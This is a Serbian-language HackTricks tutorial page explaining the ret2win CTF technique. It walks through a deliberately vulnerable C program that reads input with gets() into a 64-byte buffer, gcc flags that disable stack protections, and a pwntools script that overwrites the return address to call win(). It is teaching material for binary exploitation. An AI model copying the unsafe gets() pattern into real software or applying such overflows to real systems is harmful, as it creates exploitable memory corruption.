# Ret2win {{#include ../../../banners/hacktricks-training.md}} ## Osnovne informacije **Ret2win** izazovi su popularna kategorija u **Capture The Flag (CTF)** takmičenjima, posebno u zadacima koji uključuju **binary exploitation**. Cilj je iskoristiti ranjivost u datom binarnom fajlu kako bi se izvršila određena, nepozvana funkcija unutar binarnog fajla, koja se često naziva nešto poput `win`, `flag`, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavicu ili poruku o uspehu. Izazov obično uključuje prepisivanje **povratne adrese** na steku kako bi se preusmerio tok izvršenja na željenu funkciju. Evo detaljnijeg objašnjenja sa primerima: ### C primer Razmotrite jednostavan C program sa ranjivošću i `win` funkcijom koju nameravamo da pozovemo: ```c #include #include void win() { printf("Congratulations! You've called the win function.\n"); } void vulnerable_function() { char buf[64]; gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. } int main() { vulnerable_function(); return 0; } ``` Da biste kompajlirali ovaj program bez zaštite steka i sa **ASLR** onemogućenim, možete koristiti sledeću komandu: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-m32`: Kompajlirajte program kao 32-bitni binarni fajl (ovo je opcionalno, ali uobičajeno u CTF izazovima). - `-fno-stack-protector`: Onemogućite zaštitu od prelivanja steka. - `-z execstack`: Dozvolite izvršavanje koda na steku. - `-no-pie`: Onemogućite poziciono nezavisne izvršne fajlove kako biste osigurali da se adresa funkcije `win` ne menja. - `-o vulnerable`: Imenovati izlazni fajl `vulnerable`. ### Python Exploit koristeći Pwntools Za exploit, koristićemo **pwntools**, moćan CTF okvir za pisanje eksploitacija. Skripta za exploit će kreirati payload za prelivanje bafera i prepisivanje adrese povratka sa adresom funkcije `win`. ```python from pwn import * # Set up the process and context for the binary binary_path = './vulnerable' p = process(binary_path) context.binary = binary_path # Find the address of the win function win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary # Create the payload # The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address. payload = b'A' * 68 + win_addr # Send the payload p.sendline(payload) p.interactive() ``` Da biste pronašli adresu `win` funkcije, možete koristiti **gdb**, **objdump** ili bilo koji drugi alat koji vam omogućava da pregledate binarne datoteke. Na primer, sa `objdump`, mogli biste koristiti: ```sh objdump -d vulnerable | grep win ``` Ova komanda će vam prikazati asembler funkcije `win`, uključujući njenu početnu adresu. Python skripta šalje pažljivo oblikovanu poruku koja, kada je obradi `vulnerable_function`, preplavi bafer i prepisuje adresu povratka na steku sa adresom `win`. Kada `vulnerable_function` vrati, umesto da se vrati na `main` ili izađe, skače na `win`, i poruka se ispisuje. ## Zaštite - [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **treba da bude onemogućena** da bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je funkcija win učitana. U nekim slučajevima, kada funkcija koja uzrokuje prelivanje bude `read` ili slična, možete izvršiti **Delimično Prepisivanje** od 1 ili 2 bajta da promenite adresu povratka na funkciju win. Zbog načina na koji ASLR funkcioniše, poslednja tri heksadecimalna nibbla nisu nasumična, tako da postoji **1/16 šanse** (1 nibble) da dobijete ispravnu adresu povratka. - [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) takođe treba da budu onemogućene ili kompromitovana EIP adresa povratka nikada neće biti praćena. ## Ostali primeri & Reference - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - 32bit, bez ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) - 64 bita sa ASLR, sa leak-om adrese bin - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - 64 bita, bez ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - 32 bita, bez ASLR, dvostruko malo prelivanje, prvo preplavi stek i poveća veličinu drugog prelivanja - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - 32 bita, relro, bez kanarinca, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win) - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - 64 bita, relro, bez kanarinca, nx, pie. Delimično prepisivanje za pozivanje funkcije win (ret2win) {{#include ../../../banners/hacktricks-training.md}}